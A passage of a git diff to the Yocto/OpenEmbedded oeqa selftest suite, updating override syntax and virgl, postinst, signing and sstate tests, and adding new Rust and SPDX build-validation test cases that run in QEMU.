if 'opengl' not in qemu_distrofeatures:
- features += 'DISTRO_FEATURES_append = " opengl"\n'
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
- features_gtk = features + 'TEST_RUNQEMUPARAMS = "gtk gl"\n'
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
+ features_gtk = features + 'TEST_RUNQEMUPARAMS += " gtk gl"\n'
self.write_config(features_gtk)
bitbake('core-image-minimal')
bitbake('-c testimage core-image-minimal')
- features_sdl = features + 'TEST_RUNQEMUPARAMS = "sdl gl"\n'
+ features_sdl = features + 'TEST_RUNQEMUPARAMS += " sdl gl"\n'
self.write_config(features_sdl)
bitbake('core-image-minimal')
bitbake('-c testimage core-image-minimal')
+ @skipIfNotMachine("qemux86-64", "test needs qemux86-64")
def test_testimage_virgl_headless(self):
"""
Summary: Check host-assisted accelerate OpenGL functionality in qemu with egl-headless frontend
@@ -217,28 +271,25 @@ class TestImage(OESelftestTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
import subprocess, os
- try:
- content = os.listdir("/dev/dri")
- if len([i for i in content if i.startswith('render')]) == 0:
- self.skipTest("No render nodes found in /dev/dri: %s" %(content))
- except FileNotFoundError:
- self.skipTest("/dev/dri directory does not exist; no render nodes available on this machine.")
- try:
- dripath = subprocess.check_output("pkg-config --variable=dridriverdir dri", shell=True)
- except subprocess.CalledProcessError as e:
- self.skipTest("Could not determine the path to dri drivers on the host via pkg-config.\nPlease install Mesa development files (particularly, dri.pc) on the host machine.")
+
+ distro = oe.lsb.distro_identifier()
+ if distro and (distro in ['debian-9', 'debian-10', 'centos-7', 'centos-8', 'ubuntu-16.04', 'ubuntu-18.04'] or
+ distro.startswith('almalinux') or distro.startswith('rocky')):
+ self.skipTest('virgl headless cannot be tested with %s' %(distro))
+
qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
- features = 'INHERIT += "testimage"\n'
+ features = 'IMAGE_CLASSES += "testimage"\n'
if 'opengl' not in qemu_distrofeatures:
- features += 'DISTRO_FEATURES_append = " opengl"\n'
+ features += 'DISTRO_FEATURES:append = " opengl"\n'
features += 'TEST_SUITES = "ping ssh virgl"\n'
- features += 'IMAGE_FEATURES_append = " ssh-server-dropbear"\n'
- features += 'IMAGE_INSTALL_append = " kmscube"\n'
- features += 'TEST_RUNQEMUPARAMS = "egl-headless"\n'
+ features += 'IMAGE_FEATURES:append = " ssh-server-dropbear"\n'
+ features += 'IMAGE_INSTALL:append = " kmscube"\n'
+ features += 'TEST_RUNQEMUPARAMS += " egl-headless"\n'
self.write_config(features)
bitbake('core-image-minimal')
bitbake('-c testimage core-image-minimal')
+@OETestTag("runqemu")
class Postinst(OESelftestTestCase):
def init_manager_loop(self, init_manager):
@@ -259,7 +310,7 @@ class Postinst(OESelftestTestCase):
features += 'IMAGE_FEATURES += "package-management empty-root-password"\n'
features += 'PACKAGE_CLASSES = "%s"\n' % classes
if init_manager == "systemd":
- features += 'DISTRO_FEATURES_append = " systemd"\n'
+ features += 'DISTRO_FEATURES:append = " systemd usrmerge"\n'
features += 'VIRTUAL-RUNTIME_init_manager = "systemd"\n'
features += 'DISTRO_FEATURES_BACKFILL_CONSIDERED = "sysvinit"\n'
features += 'VIRTUAL-RUNTIME_initscripts = ""\n'
@@ -275,11 +326,11 @@ class Postinst(OESelftestTestCase):
# run_serial()'s status code is useless.'
for filename in ("rootfs", "delayed-a", "delayed-b"):
status, output = qemu.run_serial("test -f %s && echo found" % os.path.join(targettestdir, filename))
- self.assertEqual(output, "found", "%s was not present on boot" % filename)
+ self.assertIn("found", output, "%s was not present on boot" % filename)
- @skipIfNotQemu('qemuall', 'Test only runs in qemu')
+ @skipIfNotQemu()
def test_postinst_rootfs_and_boot_sysvinit(self):
"""
Summary: The purpose of this test case is to verify Post-installation
@@ -300,7 +351,7 @@ class Postinst(OESelftestTestCase):
self.init_manager_loop("sysvinit")
- @skipIfNotQemu('qemuall', 'Test only runs in qemu')
+ @skipIfNotQemu()
def test_postinst_rootfs_and_boot_systemd(self):
"""
Summary: The purpose of this test case is to verify Post-installation
@@ -356,6 +407,7 @@ class Postinst(OESelftestTestCase):
self.assertFalse(os.path.isfile(os.path.join(hosttestdir, "rootfs-after-failure")),
"rootfs-after-failure file was created")
+@OETestTag("runqemu")
class SystemTap(OESelftestTestCase):
"""
Summary: The purpose of this test case is to verify native crosstap
@@ -376,14 +428,14 @@ TEST_SERVER_IP = "192.168.7.1"
TEST_TARGET_IP = "192.168.7.2"
EXTRA_IMAGE_FEATURES += "tools-profile dbg-pkgs"
-IMAGE_FEATURES_append = " ssh-server-dropbear"
+IMAGE_FEATURES:append = " ssh-server-dropbear"
# enables kernel debug symbols
-KERNEL_EXTRA_FEATURES_append = " features/debug/debug-kernel.scc"
-KERNEL_EXTRA_FEATURES_append = " features/systemtap/systemtap.scc"
+KERNEL_EXTRA_FEATURES:append = " features/debug/debug-kernel.scc"
+KERNEL_EXTRA_FEATURES:append = " features/systemtap/systemtap.scc"
# add systemtap run-time into target image if it is not there yet
-IMAGE_INSTALL_append = " systemtap"
+IMAGE_INSTALL:append = " systemtap-runtime"
"""
def test_crosstap_helloworld(self):
@@ -432,4 +484,3 @@ IMAGE_INSTALL_append = " systemtap"
cmd = "crosstap -r root@192.168.7.2 -s %s/process/ syscalls_by_pid.stp" % systemtap_examples
result = runCmd(cmd)
self.assertEqual(0, result.status, 'crosstap syscalls_by_pid returned a non 0 status:%s' % result.output)
-
diff --git a/meta/lib/oeqa/selftest/cases/rust.py b/meta/lib/oeqa/selftest/cases/rust.py
new file mode 100644
index 0000000000..ad14189c6d
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/rust.py
@@ -0,0 +1,231 @@
+# SPDX-License-Identifier: MIT
+import os
+import subprocess
+import time
+from oeqa.core.decorator import OETestTag
+from oeqa.core.case import OEPTestResultTestCase
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars, runqemu, Command
+from oeqa.utils.sshcontrol import SSHControl
+
+def parse_results(filename):
+ tests = {}
+ with open(filename, "r") as f:
+ lines = f.readlines()
+ for line in lines:
+ if "..." in line and "test [" in line:
+ test = line.split("test ")[1].split(" ... ")[0]
+ if "] " in test:
+ test = test.split("] ", 1)[1]
+ result = line.split(" ... ")[1].strip()
+ if result == "ok":
+ result = "PASS"
+ elif result == "failed":
+ result = "FAIL"
+ elif "ignored" in result:
+ result = "SKIPPED"
+ if test in tests:
+ if tests[test] != result:
+ print("Duplicate and mismatching result %s for %s" % (result, test))
+ else:
+ print("Duplicate result %s for %s" % (result, test))
+ else:
+ tests[test] = result
+ return tests
+
+# Total time taken for testing is of about 2hr 20min, with PARALLEL_MAKE set to 40 number of jobs.
+@OETestTag("toolchain-system")
+@OETestTag("toolchain-user")
+@OETestTag("runqemu")
+class RustSelfTestSystemEmulated(OESelftestTestCase, OEPTestResultTestCase):
+ def test_rust(self, *args, **kwargs):
+ # Disable Rust Oe-selftest
+ #self.skipTest("The Rust Oe-selftest is disabled.")
+
+ # Skip mips32 target since it is unstable with rust tests
+ machine = get_bb_var('MACHINE')
+ if machine == "qemumips":
+ self.skipTest("The mips32 target is skipped for Rust Oe-selftest.")
+
+ # build remote-test-server before image build
+ recipe = "rust"
+ start_time = time.time()
+ bitbake("{} -c test_compile".format(recipe))
+ builddir = get_bb_var("RUSTSRC", "rust")
+ # build core-image-minimal with required packages
+ default_installed_packages = ["libgcc", "libstdc++", "libatomic", "libgomp"]
+ features = []
+ features.append('IMAGE_FEATURES += "ssh-server-dropbear"')
+ features.append('CORE_IMAGE_EXTRA_INSTALL += "{0}"'.format(" ".join(default_installed_packages)))
+ self.write_config("\n".join(features))
+ bitbake("core-image-minimal")
+
+ # Exclude the test folders that error out while building
+ # TODO: Fix the errors and include them for testing
+ # no-fail-fast: Run all tests regardless of failure.
+ # bless: First runs rustfmt to format the codebase,
+ # then runs tidy checks.
+ exclude_list = [
+ 'compiler/rustc',
+ 'compiler/rustc_interface/src/tests.rs',
+ 'library/panic_abort',
+ 'library/panic_unwind',
+ 'library/test/src/stats/tests.rs',
+ 'src/bootstrap/builder/tests.rs',
+ 'src/doc/rustc',
+ 'src/doc/rustdoc',
+ 'src/doc/unstable-book',
+ 'src/librustdoc',
+ 'src/rustdoc-json-types',
+ 'src/tools/compiletest/src/common.rs',
+ 'src/tools/lint-docs',
+ 'src/tools/rust-analyzer',
+ 'src/tools/rustdoc-themes',
+ 'src/tools/tidy',
+ 'tests/assembly/asm/aarch64-outline-atomics.rs',
+ 'tests/codegen/abi-main-signature-32bit-c-int.rs',
+ 'tests/codegen/abi-repr-ext.rs',
+ 'tests/codegen/abi-x86-interrupt.rs',
+ 'tests/codegen/branch-protection.rs',
+ 'tests/codegen/catch-unwind.rs',
+ 'tests/codegen/cf-protection.rs',
+ 'tests/codegen/enum-bounds-check-derived-idx.rs',
+ 'tests/codegen/force-unwind-tables.rs',
+ 'tests/codegen/intrinsic-no-unnamed-attr.rs',
+ 'tests/codegen/issues/issue-103840.rs',
+ 'tests/codegen/issues/issue-47278.rs',
+ 'tests/codegen/issues/issue-73827-bounds-check-index-in-subexpr.rs',
+ 'tests/codegen/lifetime_start_end.rs',
+ 'tests/codegen/local-generics-in-exe-internalized.rs',
+ 'tests/codegen/match-unoptimized.rs',
+ 'tests/codegen/noalias-rwlockreadguard.rs',
+ 'tests/codegen/non-terminate/nonempty-infinite-loop.rs',
+ 'tests/codegen/noreturn-uninhabited.rs',
+ 'tests/codegen/repr-transparent-aggregates-3.rs',
+ 'tests/codegen/riscv-abi/call-llvm-intrinsics.rs',
+ 'tests/codegen/riscv-abi/riscv64-lp64f-lp64d-abi.rs',
+ 'tests/codegen/riscv-abi/riscv64-lp64d-abi.rs',
+ 'tests/codegen/sse42-implies-crc32.rs',
+ 'tests/codegen/thread-local.rs',
+ 'tests/codegen/uninit-consts.rs',
+ 'tests/pretty/raw-str-nonexpr.rs',
+ 'tests/run-make',
+ 'tests/run-make-fulldeps',
+ 'tests/rustdoc',
+ 'tests/rustdoc-json',
+ 'tests/rustdoc-js-std',
+ 'tests/rustdoc-ui/cfg-test.rs',
+ 'tests/rustdoc-ui/check-cfg-test.rs',
+ 'tests/rustdoc-ui/display-output.rs',
+ 'tests/rustdoc-ui/doc-comment-multi-line-attr.rs',
+ 'tests/rustdoc-ui/doc-comment-multi-line-cfg-attr.rs',
+ 'tests/rustdoc-ui/doc-test-doctest-feature.rs',
+ 'tests/rustdoc-ui/doctest-multiline-crate-attribute.rs',
+ 'tests/rustdoc-ui/doctest-output.rs',
+ 'tests/rustdoc-ui/doc-test-rustdoc-feature.rs',
+ 'tests/rustdoc-ui/failed-doctest-compile-fail.rs',
+ 'tests/rustdoc-ui/issue-80992.rs',
+ 'tests/rustdoc-ui/issue-91134.rs',
+ 'tests/rustdoc-ui/nocapture-fail.rs',
+ 'tests/rustdoc-ui/nocapture.rs',
+ 'tests/rustdoc-ui/no-run-flag.rs',
+ 'tests/rustdoc-ui/run-directory.rs',
+ 'tests/rustdoc-ui/test-no_std.rs',
+ 'tests/rustdoc-ui/test-type.rs',
+ 'tests/rustdoc/unit-return.rs',
+ 'tests/ui/abi/stack-probes-lto.rs',
+ 'tests/ui/abi/stack-probes.rs',
+ 'tests/ui/array-slice-vec/subslice-patterns-const-eval-match.rs',
+ 'tests/ui/asm/x86_64/sym.rs',
+ 'tests/ui/associated-type-bounds/fn-apit.rs',
+ 'tests/ui/associated-type-bounds/fn-dyn-apit.rs',
+ 'tests/ui/associated-type-bounds/fn-wrap-apit.rs',
+ 'tests/ui/debuginfo/debuginfo-emit-llvm-ir-and-split-debuginfo.rs',
+ 'tests/ui/drop/dynamic-drop.rs',
+ 'tests/ui/empty_global_asm.rs',
+ 'tests/ui/functions-closures/fn-help-with-err.rs',
+ 'tests/ui/linkage-attr/issue-10755.rs',
+ 'tests/ui/macros/restricted-shadowing-legacy.rs',
+ 'tests/ui/process/nofile-limit.rs',
+ 'tests/ui/process/process-panic-after-fork.rs',
+ 'tests/ui/process/process-sigpipe.rs',
+ 'tests/ui/simd/target-feature-mixup.rs',
+ 'tests/ui/structs-enums/multiple-reprs.rs',
+ 'src/tools/jsondoclint',
+ 'src/tools/replace-version-placeholder',
+ 'tests/codegen/abi-efiapi.rs',
+ 'tests/codegen/abi-sysv64.rs',
+ 'tests/codegen/align-byval.rs',
+ 'tests/codegen/align-fn.rs',
+ 'tests/codegen/asm-powerpc-clobbers.rs',
+ 'tests/codegen/async-fn-debug-awaitee-field.rs',
+ 'tests/codegen/binary-search-index-no-bound-check.rs',
+ 'tests/codegen/call-metadata.rs',
+ 'tests/codegen/debug-column.rs',
+ 'tests/codegen/debug-limited.rs',
+ 'tests/codegen/debuginfo-generic-closure-env-names.rs',
+ 'tests/codegen/drop.rs',
+ 'tests/codegen/dst-vtable-align-nonzero.rs',
+ 'tests/codegen/enable-lto-unit-splitting.rs',
+ 'tests/codegen/enum/enum-u128.rs',
+ 'tests/codegen/fn-impl-trait-self.rs',
+ 'tests/codegen/inherit_overflow.rs',
+ 'tests/codegen/inline-function-args-debug-info.rs',
+ 'tests/codegen/intrinsics/mask.rs',
+ 'tests/codegen/intrinsics/transmute-niched.rs',
+ 'tests/codegen/issues/issue-73258.rs',
+ 'tests/codegen/issues/issue-75546.rs',
+ 'tests/codegen/issues/issue-77812.rs',
+ 'tests/codegen/issues/issue-98156-const-arg-temp-lifetime.rs',
+ 'tests/codegen/llvm-ident.rs',
+ 'tests/codegen/mainsubprogram.rs',
+ 'tests/codegen/move-operands.rs',
+ 'tests/codegen/repr/transparent-mips64.rs',
+ 'tests/mir-opt/',
+ 'tests/rustdoc-json',
+ 'tests/rustdoc-ui/doc-test-rustdoc-feature.rs',
+ 'tests/rustdoc-ui/no-run-flag.rs',
+ 'tests/ui-fulldeps/',
+ 'tests/ui/numbers-arithmetic/u128.rs'
+ ]
+
+ exclude_fail_tests = " ".join([" --exclude " + item for item in exclude_list])
+ # Add exclude_fail_tests with other test arguments
+ testargs = exclude_fail_tests + " --doc --no-fail-fast --bless"
+
+ # wrap the execution with a qemu instance.
+ # Tests are run with 512 tasks in parallel to execute all tests very quickly
+ with runqemu("core-image-minimal", runqemuparams = "nographic", qemuparams = "-m 512") as qemu:
+ # Copy remote-test-server to image through scp
+ host_sys = get_bb_var("RUST_BUILD_SYS", "rust")
+ ssh = SSHControl(ip=qemu.ip, logfile=qemu.sshlog, user="root")
+ ssh.copy_to(builddir + "/build/" + host_sys + "/stage1-tools-bin/remote-test-server","~/")
+ # Execute remote-test-server on image through background ssh
+ command = '~/remote-test-server --bind 0.0.0.0:12345 -v'
+ sshrun=subprocess.Popen(("ssh", '-o', 'UserKnownHostsFile=/dev/null', '-o', 'StrictHostKeyChecking=no', '-f', "root@%s" % qemu.ip, command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ # Get the values of variables.
+ tcpath = get_bb_var("TARGET_SYS", "rust")
+ targetsys = get_bb_var("RUST_TARGET_SYS", "rust")
+ rustlibpath = get_bb_var("WORKDIR", "rust")
+ tmpdir = get_bb_var("TMPDIR", "rust")
+
+ # Set path for target-poky-linux-gcc, RUST_TARGET_PATH and hosttools.
+ cmd = " export PATH=%s/recipe-sysroot-native/usr/bin:$PATH;" % rustlibpath
+ cmd = cmd + " export TARGET_VENDOR=\"-poky\";"
+ cmd = cmd + " export PATH=%s/recipe-sysroot-native/usr/bin/%s:%s/hosttools:$PATH;" % (rustlibpath, tcpath, tmpdir)
+ cmd = cmd + " export RUST_TARGET_PATH=%s/rust-targets;" % rustlibpath
+ # Trigger testing.
+ cmd = cmd + " export TEST_DEVICE_ADDR=\"%s:12345\";" % qemu.ip
+ cmd = cmd + " cd %s; python3 src/bootstrap/bootstrap.py test %s --target %s" % (builddir, testargs, targetsys)
+ retval = runCmd(cmd)
+ end_time = time.time()
+
+ resultlog = rustlibpath + "/results-log.txt"
+ with open(resultlog, "w") as f:
+ f.write(retval.output)
+
+ ptestsuite = "rust"
+ self.ptest_section(ptestsuite, duration = int(end_time - start_time), logfile=resultlog)
+ test_results = parse_results(resultlog)
+ for test in test_results:
+ self.ptest_result(ptestsuite, test, test_results[test])
diff --git a/meta/lib/oeqa/selftest/cases/selftest.py b/meta/lib/oeqa/selftest/cases/selftest.py
index af080dcf03..a80a8651a5 100644
--- a/meta/lib/oeqa/selftest/cases/selftest.py
+++ b/meta/lib/oeqa/selftest/cases/selftest.py
@@ -1,9 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import importlib
-from oeqa.utils.commands import runCmd
import oeqa.selftest
from oeqa.selftest.case import OESelftestTestCase
diff --git a/meta/lib/oeqa/selftest/cases/signing.py b/meta/lib/oeqa/selftest/cases/signing.py
index 202d54994b..18cce0ba25 100644
--- a/meta/lib/oeqa/selftest/cases/signing.py
+++ b/meta/lib/oeqa/selftest/cases/signing.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -44,7 +46,9 @@ class Signing(OESelftestTestCase):
origenv = os.environ.copy()
for e in os.environ:
- if builddir in os.environ[e]:
+ if builddir + "/" in os.environ[e]:
+ os.environ[e] = os.environ[e].replace(builddir + "/", newbuilddir + "/")
+ if os.environ[e].endswith(builddir):
os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
os.chdir(newbuilddir)
@@ -143,7 +147,7 @@ class Signing(OESelftestTestCase):
feature += 'GPG_PATH = "%s"\n' % self.gpg_dir
feature += 'SSTATE_DIR = "%s"\n' % sstatedir
# Any mirror might have partial sstate without .sig files, triggering failures
- feature += 'SSTATE_MIRRORS_forcevariable = ""\n'
+ feature += 'SSTATE_MIRRORS:forcevariable = ""\n'
self.write_config(feature)
@@ -157,13 +161,13 @@ class Signing(OESelftestTestCase):
bitbake('-c clean %s' % test_recipe)
bitbake('-c populate_lic %s' % test_recipe)
- recipe_sig = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tgz.sig')
- recipe_tgz = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tgz')
+ recipe_sig = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst.sig')
+ recipe_archive = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst')
self.assertEqual(len(recipe_sig), 1, 'Failed to find .sig file.')
- self.assertEqual(len(recipe_tgz), 1, 'Failed to find .tgz file.')
+ self.assertEqual(len(recipe_archive), 1, 'Failed to find .tar.zst file.')
- ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_tgz[0]))
+ ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_archive[0]))
# gpg: Signature made Thu 22 Oct 2015 01:45:09 PM EEST using RSA key ID 61EEFB30
# gpg: Good signature from "testuser (nocomment) <testuser@email.com>"
self.assertIn('gpg: Good signature from', ret.output, 'Package signed incorrectly.')
@@ -187,7 +191,7 @@ class LockedSignatures(OESelftestTestCase):
bitbake(test_recipe)
# Generate locked sigs include file
- bitbake('-S none %s' % test_recipe)
+ bitbake('-S lockedsigs %s' % test_recipe)
feature = 'require %s\n' % locked_sigs_file
feature += 'SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "warn"\n'
@@ -204,7 +208,7 @@ class LockedSignatures(OESelftestTestCase):
# Use uuid so hash equivalance server isn't triggered
recipe_append_file = test_recipe + '_' + get_bb_var('PV', test_recipe) + '.bbappend'
recipe_append_path = os.path.join(templayerdir, 'recipes-test', test_recipe, recipe_append_file)
- feature = 'SUMMARY_${PN} = "test locked signature%s"\n' % uuid.uuid4()
+ feature = 'SUMMARY:${PN} = "test locked signature%s"\n' % uuid.uuid4()
os.mkdir(os.path.join(templayerdir, 'recipes-test'))
os.mkdir(os.path.join(templayerdir, 'recipes-test', test_recipe))
diff --git a/meta/lib/oeqa/selftest/cases/spdx.py b/meta/lib/oeqa/selftest/cases/spdx.py
new file mode 100644
index 0000000000..05fc4e390b
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/spdx.py
@@ -0,0 +1,54 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import json
+import os
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_var, runCmd
+
+class SPDXCheck(OESelftestTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ super(SPDXCheck, cls).setUpClass()
+ bitbake("python3-spdx-tools-native")
+ bitbake("-c addto_recipe_sysroot python3-spdx-tools-native")
+
+ def check_recipe_spdx(self, high_level_dir, spdx_file, target_name):
+ config = """
+INHERIT += "create-spdx"
+"""
+ self.write_config(config)
+
+ deploy_dir = get_bb_var("DEPLOY_DIR")
+ machine_var = get_bb_var("MACHINE")
+ # qemux86-64 creates the directory qemux86_64
+ machine_dir = machine_var.replace("-", "_")
+
+ full_file_path = os.path.join(deploy_dir, "spdx", machine_dir, high_level_dir, spdx_file)
+
+ try:
+ os.remove(full_file_path)
+ except FileNotFoundError:
+ pass
+
+ bitbake("%s -c create_spdx" % target_name)
+
+ def check_spdx_json(filename):
+ with open(filename) as f:
+ report = json.load(f)
+ self.assertNotEqual(report, None)
+ self.assertNotEqual(report["SPDXID"], None)
+
+ python = os.path.join(get_bb_var('STAGING_BINDIR', 'python3-spdx-tools-native'), 'nativepython3')
+ validator = os.path.join(get_bb_var('STAGING_BINDIR', 'python3-spdx-tools-native'), 'pyspdxtools')
+ result = runCmd("{} {} -i {}".format(python, validator, filename))
+
+ self.assertExists(full_file_path)
+ result = check_spdx_json(full_file_path)
+
+ def test_spdx_base_files(self):
+ self.check_recipe_spdx("packages", "base-files.spdx.json", "base-files")
diff --git a/meta/lib/oeqa/selftest/cases/sstate.py b/meta/lib/oeqa/selftest/cases/sstate.py
deleted file mode 100644
index 80ce9e353c..0000000000
--- a/meta/lib/oeqa/selftest/cases/sstate.py
+++ /dev/null
@@ -1,67 +0,0 @@
-#
-# SPDX-License-Identifier: MIT
-#
-
-import datetime
-import unittest
-import os
-import re
-import shutil
-
-import oeqa.utils.ftools as ftools
-from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_vars, get_test_layer
-
-
-class SStateBase(OESelftestTestCase):
-
- def setUpLocal(self):
- super(SStateBase, self).setUpLocal()
- self.temp_sstate_location = None
- needed_vars = ['SSTATE_DIR', 'NATIVELSBSTRING', 'TCLIBC', 'TUNE_ARCH',
- 'TOPDIR', 'TARGET_VENDOR', 'TARGET_OS']
- bb_vars = get_bb_vars(needed_vars)
- self.sstate_path = bb_vars['SSTATE_DIR']
- self.hostdistro = bb_vars['NATIVELSBSTRING']
- self.tclibc = bb_vars['TCLIBC']
- self.tune_arch = bb_vars['TUNE_ARCH']
- self.topdir = bb_vars['TOPDIR']
- self.target_vendor = bb_vars['TARGET_VENDOR']
- self.target_os = bb_vars['TARGET_OS']
- self.distro_specific_sstate = os.path.join(self.sstate_path, self.hostdistro)
-
- # Creates a special sstate configuration with the option to add sstate mirrors
- def config_sstate(self, temp_sstate_location=False, add_local_mirrors=[]):
- self.temp_sstate_location = temp_sstate_location
-
- if self.temp_sstate_location:
- temp_sstate_path = os.path.join(self.builddir, "temp_sstate_%s" % datetime.datetime.now().strftime('%Y%m%d%H%M%S'))
- config_temp_sstate = "SSTATE_DIR = \"%s\"" % temp_sstate_path
- self.append_config(config_temp_sstate)
- self.track_for_cleanup(temp_sstate_path)
- bb_vars = get_bb_vars(['SSTATE_DIR', 'NATIVELSBSTRING'])
- self.sstate_path = bb_vars['SSTATE_DIR']
- self.hostdistro = bb_vars['NATIVELSBSTRING']
- self.distro_specific_sstate = os.path.join(self.sstate_path, self.hostdistro)
-
- if add_local_mirrors:
- config_set_sstate_if_not_set = 'SSTATE_MIRRORS ?= ""'
- self.append_config(config_set_sstate_if_not_set)
- for local_mirror in add_local_mirrors:
- self.assertFalse(os.path.join(local_mirror) == os.path.join(self.sstate_path), msg='Cannot add the current sstate path as a sstate mirror')
- config_sstate_mirror = "SSTATE_MIRRORS += \"file://.* file:///%s/PATH\"" % local_mirror
- self.append_config(config_sstate_mirror)
-
- # Returns a list containing sstate files
- def search_sstate(self, filename_regex, distro_specific=True, distro_nonspecific=True):
- result = []
- for root, dirs, files in os.walk(self.sstate_path):
- if distro_specific and re.search(r"%s/%s/[a-z0-9]{2}/[a-z0-9]{2}$" % (self.sstate_path, self.hostdistro), root):
- for f in files:
- if re.search(filename_regex, f):
- result.append(f)
- if distro_nonspecific and re.search(r"%s/[a-z0-9]{2}/[a-z0-9]{2}$" % self.sstate_path, root):
- for f in files:
- if re.search(filename_regex, f):
- result.append(f)
- return result
diff --git a/meta/lib/oeqa/selftest/cases/sstatetests.py b/meta/lib/oeqa/selftest/cases/sstatetests.py
index c46e8ba489..86d6cd7464 100644
--- a/meta/lib/oeqa/selftest/cases/sstatetests.py
+++ b/meta/lib/oeqa/selftest/cases/sstatetests.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -7,54 +9,77 @@ import shutil
import glob
import subprocess
import tempfile
+import datetime
+import re
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, create_temp_layer, get_bb_vars
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_test_layer, create_temp_layer
-from oeqa.selftest.cases.sstate import SStateBase
+from oeqa.core.decorator import OETestTag
+import oe
import bb.siggen
-class SStateTests(SStateBase):
- def test_autorev_sstate_works(self):
- # Test that a git repository which changes is correctly handled by SRCREV = ${AUTOREV}
- # when PV does not contain SRCPV
-
- tempdir = tempfile.mkdtemp(prefix='sstate_autorev')
- tempdldir = tempfile.mkdtemp(prefix='sstate_autorev_dldir')
- self.track_for_cleanup(tempdir)
- self.track_for_cleanup(tempdldir)
- create_temp_layer(tempdir, 'selftestrecipetool')
- self.add_command_to_tearDown('bitbake-layers remove-layer %s' % tempdir)
- self.append_config("DL_DIR = \"%s\"" % tempdldir)
- runCmd('bitbake-layers add-layer %s' % tempdir)
-
- # Use dbus-wait as a local git repo we can add a commit between two builds in
- pn = 'dbus-wait'
- srcrev = '6cc6077a36fe2648a5f993fe7c16c9632f946517'
- url = 'git://git.yoctoproject.org/dbus-wait'
- result = runCmd('git clone %s noname' % url, cwd=tempdir)
- srcdir = os.path.join(tempdir, 'noname')
- result = runCmd('git reset --hard %s' % srcrev, cwd=srcdir)
- self.assertTrue(os.path.isfile(os.path.join(srcdir, 'configure.ac')), 'Unable to find configure script in source directory')
-
- recipefile = os.path.join(tempdir, "recipes-test", "dbus-wait-test", 'dbus-wait-test_git.bb')
- os.makedirs(os.path.dirname(recipefile))
- srcuri = 'git://' + srcdir + ';protocol=file'
- result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri])
- self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
-
- with open(recipefile, 'a') as f:
- f.write('SRCREV = "${AUTOREV}"\n')
- f.write('PV = "1.0"\n')
-
- bitbake("dbus-wait-test -c fetch")
- with open(os.path.join(srcdir, "bar.txt"), "w") as f:
- f.write("foo")
- result = runCmd('git add bar.txt; git commit -asm "add bar"', cwd=srcdir)
- bitbake("dbus-wait-test -c unpack")
-
-
- # Test sstate files creation and their location
+# Set to True to preserve stamp files after test execution for debugging failures
+keep_temp_files = False
+
+class SStateBase(OESelftestTestCase):
+
+ def setUpLocal(self):
+ super(SStateBase, self).setUpLocal()
+ self.temp_sstate_location = None
+ needed_vars = ['SSTATE_DIR', 'NATIVELSBSTRING', 'TCLIBC', 'TUNE_ARCH',
+ 'TOPDIR', 'TARGET_VENDOR', 'TARGET_OS']
+ bb_vars = get_bb_vars(needed_vars)
+ self.sstate_path = bb_vars['SSTATE_DIR']
+ self.hostdistro = bb_vars['NATIVELSBSTRING']
+ self.tclibc = bb_vars['TCLIBC']
+ self.tune_arch = bb_vars['TUNE_ARCH']
+ self.topdir = bb_vars['TOPDIR']
+ self.target_vendor = bb_vars['TARGET_VENDOR']
+ self.target_os = bb_vars['TARGET_OS']
+ self.distro_specific_sstate = os.path.join(self.sstate_path, self.hostdistro)
+
+ def track_for_cleanup(self, path):
+ if not keep_temp_files:
+ super().track_for_cleanup(path)
+
+ # Creates a special sstate configuration with the option to add sstate mirrors
+ def config_sstate(self, temp_sstate_location=False, add_local_mirrors=[]):
+ self.temp_sstate_location = temp_sstate_location
+
+ if self.temp_sstate_location:
+ temp_sstate_path = os.path.join(self.builddir, "temp_sstate_%s" % datetime.datetime.now().strftime('%Y%m%d%H%M%S'))
+ config_temp_sstate = "SSTATE_DIR = \"%s\"" % temp_sstate_path
+ self.append_config(config_temp_sstate)
+ self.track_for_cleanup(temp_sstate_path)
+ bb_vars = get_bb_vars(['SSTATE_DIR', 'NATIVELSBSTRING'])
+ self.sstate_path = bb_vars['SSTATE_DIR']
+ self.hostdistro = bb_vars['NATIVELSBSTRING']
+ self.distro_specific_sstate = os.path.join(self.sstate_path, self.hostdistro)
+
+ if add_local_mirrors:
+ config_set_sstate_if_not_set = 'SSTATE_MIRRORS ?= ""'
+ self.append_config(config_set_sstate_if_not_set)
+ for local_mirror in add_local_mirrors:
